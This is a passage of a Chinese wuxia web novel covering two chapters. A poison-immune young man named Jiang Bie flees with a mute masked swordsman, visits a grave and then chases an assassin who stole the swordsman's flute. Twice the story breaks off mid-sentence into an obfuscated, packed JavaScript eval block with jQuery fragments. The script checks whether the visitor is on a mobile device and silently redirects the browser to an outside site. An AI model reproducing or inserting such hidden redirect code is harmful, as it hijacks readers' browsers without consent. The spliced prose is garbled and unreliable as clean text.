《负尽狂名十五年》
3. 不速客(3)
“后院有马厩,”被扛在肩上的姜别拍拍身下人的后背,“骑马走!”
说完这话,他明显感觉到这人身形顿了一下。但他又没说什么,只侧目看了姜别一眼,随后足下一点,就这么扛着他踏风而起。
姜别的胃刚好顶在不速之客的肩头,这个姿势极其不舒服,且二人距离极近,颠簸间,姜别的银面具与对方蒙面黑巾几番相擦,他不得不偏着头才能保证自己不和人家脸贴脸。
但不得不说,这人的身手确实了得。他的武功是那种没什么花样的,每一招都简单粗暴直击要害,靠速度和力量取胜,倒不像是当今江湖上的主流武学。
姜别还注意到这人腰后别着一支短笛,伸手去探却被肩头重重顶在胃部,闷痛之下差点没当场呕出来。
转眼再看,不速之客眉眼间满是警告——只要姜别敢轻举妄动,他便立马送姜别归西。
姜别识趣地收回手。
来到马厩,这人稳稳落地,一把将姜别摔上马背,翻身上马扯缰一气呵成。
骏马吃痛受惊,如离弦之箭一般越过木栏,直冲来势汹汹的玉云谷众人而去。
姜别死死环住这人精悍的腰身。
他肩头的伤一直在冒血,慢慢便有些脱力,手一松便向一侧栽了过去。这人眼疾手快擒着他的手腕向身前一拽,两人便瞬间成了面对面而坐的姿势。
在这人身形遮挡之下,姜别没能看到周遭的刀光剑影,只听震耳欲聋的怒吼和刀剑盖过雨声响彻夜空,又被远远甩在了身后。
雨不知何时停了。二人就这么毫不停歇地驭马狂奔,一直到天边泛起鱼肚白才钻出密林,终于看见了山外的那片天地。
一夜过去,肩头的伤口已经不再往外渗血了,黑色的血痂糊在伤口上。在毒素和疼痛作用下,姜别一晚上都朦朦胧胧的,直到听到水声,才迷迷糊糊睁开眼。
入眼是一条蜿蜒的小溪,马被拴在溪岸的树上,那人在溪水旁边躬身半跪,掬着水清洗腹部的伤口,片刻后,从血肉里抠出一根青铜枣核钉来。
姜别慢慢下马,跌跌撞撞走到溪边,才刚到便喉中一甜,接连吐出几口黑血。
血被溪水一冲就散了,染红了半边溪流。男人停下了洗伤口的动作,走到姜别身边,将人一把猛拉起来。
看着摊在眼前的手掌,姜别抹去唇角血渍,“怕我死了,拿不到解药?”
对面的人没说话,一只手紧紧仍扣着姜别。
姜别看了他一会,突然伸手去扯那块蒙面黑布,不过这人反应极快,另一只手在他腕上一敲,将他另一只手也箍住了。
姜别两手被缚,也不恼,只是不太舒服地挣扎了一下。
“我不会死,”他道,“你再帮我做一件事,我给你解药。”
男人没说话,就这么盯着他。
这人显然意识到姜别是个出尔反尔的人,嘴里未必有几句真话,但他身上还带着毒,一时半会真拿人没办法,这才给了姜别坐地起价的本钱。
良久,见人还不松口,姜别又添道:“这事也不只是帮我,或许与你也有关系。”
“我猜,你或许原本是冲着姜越来的,却意外发现他身中奇毒,无药可医。”
姜别一边说,一边不着痕迹地观察这人的眉眼神情,自顾自往下说:“如果是为害命,那你大可以给他一剑或是等他毒发后离开,但你没有,你一直流转在玉云谷中四处搜查,最终在药库中发现了那本医书残卷。”
“你读过之后发现,姜越所中的和那红玉莹的记载如出一辙,然后你将书偷了,却依旧流连谷中,我猜,你是想知道是谁给姜越下的毒?”
姜别语速柔缓,字字分明,声音中带着点清风过涧的雅意,一番话逻辑缜密,竟是全部猜中了。
男人听罢,眯着眼与姜别对视,姜别不躲不闪直直望了回来。少顷,他松开手,兀自走回重归清澈的溪边,坐下开始给自己包扎起来。
姜别揉着发红手腕,注视着那抹高大的背影,声音依旧平缓:“种种迹象告诉我,你不是在意姜越,而是在意他身上的毒,又或者说你一开始便是冲着这毒来的——是什么品种,成分如何,如何配置,有没有解药,又出自何人之手?而这一切,刚好和我不谋而合。”
方才吐了几口血后,姜别的状态居然奇迹般地好转起来,原本苍白的双唇重新找回血色,连冰凉的手都渐渐温暖起来了。
这是他不为任何人知晓的秘密——百毒不侵。
不论是什么毒进入体内都会自动消解,只不过中毒的痛苦并不亚于常人,该疼的还是疼,疼过了,吐几口血也就好了。
那人没有对姜别的推断给出任何结论,是对还是不对,错了几分,又是否愿意与他结盟。姜别等了一会,蓦然意识到,从相遇开始,这个人就从来没有说过一句话。
甚至不只是没“说”过,而是完全没有从嗓子中发出过半点声响来。
——这人是个哑巴。
“我叫姜别。”意识到这一点,姜别走上前去,坐在男人身侧,用树枝沾着溪水在青石上写了两个字,“江湖儿女,自然该先报上名来,你若有意与我结盟,便将你的名字告诉我。”
写完后,他拍了拍手,指指石块,示意对方也写。又看他还在给自己包扎,便表示不急,慢慢来。
说是慢慢来,这人动作还真的慢得出奇。直到他乱七八糟地在腰侧打了个丑得不堪入目的结之后,姜别实在忍不住了,道:“我来吧。”
先是失血中毒,又是冷水冲洗,男子身上尽是冷的。姜别凑近时,手上带着的温度便格外明显。
那人迟疑片刻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457242|185342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
依旧像鹰一般紧盯着姜别,直到姜别毫不设防为他包扎好后,他才捡起树枝,溪水作墨,悬腕写下三个大字——霍无归。
笔锋凌厉,带着江湖人独有的坦荡与豪气,一如本人。
晚秋的寒风吹过两轮,很快将青石上的字迹带走了。姜别端详着霍无归,说:“一别无归,好名字。”
“既然已经互知姓名,我们最差也算是朋友了。”说着,姜别站起来,朝霍无归伸出手,“现在,关于这个忙,你如何说?”
——帮,还是不帮?
霍无归岿然不动,看了看姜别的手,又看向姜别,眼中只剩下最后一个疑问。
那就是姜别究竟为什么能发现他的行踪。
姜别闻着这人身上若有若无的香味,讳莫如深一笑。
……
各自休整后,姜别和霍无归再次同乘一马,这次姜别坐在了霍无归的身后,风吹过的时候,能从略微扬起的黑布下窥见这人的下颌线。
在找出下毒凶手之前,姜别还有一个地方要去。
“朝着御京的方向一直向东走,有个镇子,穿过镇子是一片群山,其中那个最小的山头就是我要去的地方。有点距离,估摸着两天能到。”
闻言,霍无归转回头来,发现姜别恰好没在看他。从这个角度看过去,只能看到姜别乌发泼墨的头顶,那雕着云纹的精致面具把姜别的神色全挡住了,连嘴角是笑没笑都看不分明。
霍无归驭马走得并不快,马身一晃一晃,姜别的身子也跟着晃,霍无归便用手肘顶了顶他的心口,待姜别心领神会伸出手来,才在手心写道:解药。
“在此期间我会每天给你一颗解药,你不必担心。”
那只手慢吞吞收了回去,过了一会,只听一阵窸窣,那只手又摊在面前,掌心里静静躺着一枚圆润的药丸。
-----
如姜别所言,二人走了两天一夜,果然面见群山。
从看见山的那一刻起,姜别便从马背上下来了。他一路步行上山,许是很久没来,不怎么记得路,走一段便停下来分辨一下方向。
霍无归牵着马跟在他身后,见他路遇野花便躬身去采,行至山腰,手中的花已有满满一捧之多。
大多是素白的,还有几朵嫩黄的,簇在一起,还挺好看。
山腰一侧连接着断崖,丛生的枝丫遮住了视线,一不留神就要踩空。
越往断崖尽头走,树木渐渐稀少,视线才慢慢开阔起来。霍无归这才发现,光秃秃的山上立着一个光秃秃的坟,一看就上了年头,又无人添土,坟包都快被过山风吹平了。
姜别让霍无归在这里等,自己则迎着清风走了过去。
看着那道修长的背影,霍无归有些意外。
——原来他走这么远,是来拜祭的。
4.不速客(4)
清风过岗,扬起了姜别的衣袍。
他在碑前站了一会,而后缓缓跪了下去,往简陋的坟堆上添了一抔土。
风很大,刮着树尖上还没来得及落下的枯叶,发出肃杀的沙沙声。他口中的喃喃自语就在这场秋风里被吹散了,听不清楚在说什么,左不过是追念亡魂的悼词。
霍无归等了很久——二人是正午来的,这会日头已经偏到了山那边去,姜别还在那里一动不动地跪着。在马不耐地打了无数个响鼻之后,霍无归最后一点耐心也被耗尽了。
他口不能言,行动起来也不声不响,瞬息间便来到三两步开外,丝毫未惊动拜祭中的人。
那是两座并在一起的坟,墓碑上的刻字已经被风雨侵蚀磨平到看不分明了,但靠近泥土的部分还勉强留了个字形,霍无归眯眼打量,下一瞬,眼神猝然死死锁在了某一处——
身后突然传来一声脆响,姜别心下一惊,回头看去时,在男人所踩之处找到了两节断裂的树枝。
视线上移,姜别发现他竟一直在凝视着自己,深邃双眸中藏着极难看懂的风雨。
姜别自诩还没有和他默契到心照不宣的地步,便没有不自量力地尝试猜他此时在想什么,只是兀自站起身,随意地拍去衣上的落叶,“等急了?”
他一边说着一边往回走,与霍无归擦肩而过时,胳膊却被横过来的手牢牢攒住。
姜别疑惑转头,只见霍无归紧盯着他看了一会,继而抿着唇垂下眼,一根一根掰开姜别虚握的五指,以指尖在掌心重重落下一笔。
姜别意识到他在写一个句子。
他写得龙飞凤舞,姜别一遍没懂,他便又重头开始,这次每写一个字都要停顿片刻,确认姜别弄懂了之后再往下写。
看着那一笔一划的动作,姜别下意识跟着念出了声:“里、面、是、什、么、人——”
话音戛然而止,姜别垂着的双眼中闪过一丝转瞬即逝的晦暗,继而重归平静,随口答道:“没什么人。”
他正要收回手,不成想又被捉了回去,姜别挣脱无果,下一个句子接连而至。
——你在替谁祭拜?
姜别蹙着眉久久不语,霍无归却以为姜别是没看懂,正要再写第二遍时却被姜别不着痕迹地拨开了手。
“问这个作什么?”姜别玩味地撩起眼,眸中带着些似笑非笑的意味,“你也想添把土?”
霍无归明显还想再说什么,姜别却将两手收入袖中不给他写了。
他转身走出几步,突然回过身来,笑道:“你以后想说什么就比划给我看,不方便的话,唇语也行。”
说着,指了指他脸上的那方黑面罩,“就是这个有点碍事,不如摘了?”
霍无归当然不可能摘。
姜别面露惋惜,转身上马。
-----
二人骑马往回走,赶在月升前,终于看到了人烟。
这是个客栈,连结了山南山北两条路,生意不错。
霍无归把马拴在门口,跟着姜别一前一后进了门。
门口架着一口大锅,锅里热腾腾煮了一锅面片汤,乳白的面片在沸水里翻滚起伏,小二捞出来两碗,浇上卤子浇头,摆到二人面前。
“这会儿有点晚,吃食卖得差不多了,两位将就着吃点吧,房间马上就收拾出来。”小二见惯了江湖客,碰见了遮着脸的二人也见怪不惊,上了面片汤就下去了。
这会已经夜深了,大堂里还坐着几位,面前也都摆着面片汤,各自都安安静静地吃自己的,不时传来几声低语。
姜别用筷子搅着裹了赤酱的面片和葱花,没急着入口,霍无归也不动。
姜别总觉得他在盯着自己看,眼神往那端正摆着的碗筷上扫了一圈,坦荡道:“我没必要再下一次毒,你大可放心。”
不过霍无归没有摘面罩的打算,便从始至终都没有动筷。
二人各怀心思,一顿饭食不知味。
其实这一碗面片汤算是姜别十五年来很少吃到的美味,以往他都是跟着姜越用膳,姜越想吃什么他便吃什么,不能多吃,更不能不吃,除了酸甜苦辣,还要分辨里面用了什么药,放了什么毒。
久而久之,也就尝不出滋味了。
吃过饭,二人往楼上客房走。姜别走在霍无归身后,却见他身形一顿,突然伸手一抓,视线如警觉的鹰一般射向房梁。
“怎么了?”姜别从身后探出头。
霍无归收回目光,把手心摊开给他看,是一枚铜钱。
“从房顶上掉下来的?”姜别狐疑地从霍无归手中拈起铜钱,下意识放在鼻端嗅了一下。
没什么特殊气味,就是一枚铜钱。
姜别若有所思,顺带把铜钱别在了腰间。
霍无归则古怪地看了他一眼,转身上楼。
是夜,外面下起了这年的第一场秋雨,雨势渐大,落在地上,声如碎玉。
姜别被一阵叮呤咣啷的动静吵醒,他分辨了一会,声音来自隔壁霍无归的房间。
姜别披衣下榻,摸黑来到隔壁门前,正要推门而入,刚开了个门缝,一道剑风乍然袭向面门!
姜别侧脸一躲,剑风重重击在身后的木梁柱上,钉出一道极深的痕迹。
他心下一惊,往漆黑一片的屋内看去,隐隐能看出两道黑影正在缠斗——一边是霍无归,而另一人则显然落了下风。
这人眼见不敌,趁其不备一脚踢开窗后飞身欲走,被霍无归抓着脚腕往回一拽,干脆反身一脚踹向霍无归的小臂,趁着霍无归闪避的工夫钻出窗外,逃之夭夭。
霍无归站在屋里,气息低沉急促,随手一掷,手中的物什便当啷一声掉在了地上。
他背朝着门口面窗而立,恰在此时,一道闪电划破天际,趁着这转瞬即逝的光亮,姜别注意到他腰间别的那支短笛不见了。
“你的笛子——”
话未说完,霍无归向腰后一探,摸了个空,整个人蓦然一震。
“是来寻仇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465517|185342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的?”借着窗外的微光,姜别看清楚方才被扔出来的是一把剑。他走上前,弯腰捡起剑来端详。
做工一般,不是什么名贵之物,甚至比不上李相宁手里的那把玄铁剑,唯独剑柄的花纹似有特殊。
霍无归睡觉时没有蒙面,好在此时乌云闭月,他又顺手将窗子关了起来,这下寥寥无几的光亮也被挡在了外面,屋内几乎伸手不见五指。
一片漆黑中,姜别觉得他的气息近了些,似乎已经到了眼前了,下一瞬又被抓着手,落下一个“不”字。
似乎是错觉,姜别竟从张扬的撇捺间品出一抹不加掩饰的杀意。
姜别短暂地回忆了一下,他那笛子做工精巧,用料也不凡,绝非三五文就能买一支的那种俗物。
行走江湖之人身上少带能辨明身份的物件,这短笛或许对他有什么意义,极有可能是某种信物也不一定。
“你要追么?”姜别问。
霍无归停顿片刻,刚写了个开头便胡乱划去。这刺客轻功极好,再加上下着大雨,留下的痕迹片刻就被冲刷干净,贸然追无疑是天方夜谭。
现在,唯一的线索就只剩霍无归夺来的这把剑了。
姜别要挑灯,霍无归则按住他的动作,转身重新带上面罩,这才掏出火折子,点亮了油灯。
昏暗的油灯忽明忽暗,姜别四下一扫,整个屋子里桌倒椅飞,一片狼藉,只一眼便知道方才的打斗有多激烈。
他将桌椅扶起来,把剑搁在了桌上。
霍无归在对面坐了下来,视线在剑柄和姜别身上来回流转。
姜别却八风不动,好像察觉不到这炽热的目光似的,指腹顺着剑柄走了一圈,兀然停住。
“这是……”
霍无归把剑接了过去,眼神落在姜别所指之处,随后取来一杯茶,点着茶水在桌上写了三个大字,望向姜别。
姜别垂眼一看:“青霞门?”
似乎是觉察出这分不解,霍无归点了点那剑柄上的花纹,写道:“霞飞柳枝雀,这是他们的图腾。”
“你知道的倒还不少。”姜别挑了下眉。
霍无归投过来一个淡淡的眼神:人尽皆知。
姜别不再言语,默默将那片水渍抹去。
冥冥之中,他预感到自己的计划恐怕要被打乱了,但还是问道:“现在就走?”
话毕,再看霍无归神情,姜别觉得自己就多余一问。
但不去不行,他还留霍无归有用,绝不能在这时撕破脸。
青霞门距离此处说不上远,二人骑着马紧赶慢赶一夜也能到,只不过外面下着大雨,秋寒刺骨,姜别浑身湿透,整个人几乎是紧紧贴在霍无归的背上,还是打了一个寒颤。
到了清晨,雨势渐小,二人在山中穿梭,随着霍无归猛扯缰绳,姜别才冒雨抬起头,发现马已经停了。
视线所及之处,遥遥站着一个人影。
霍无归一跃下马,阔步如飒沓,单手负剑,径直向那道人影走去。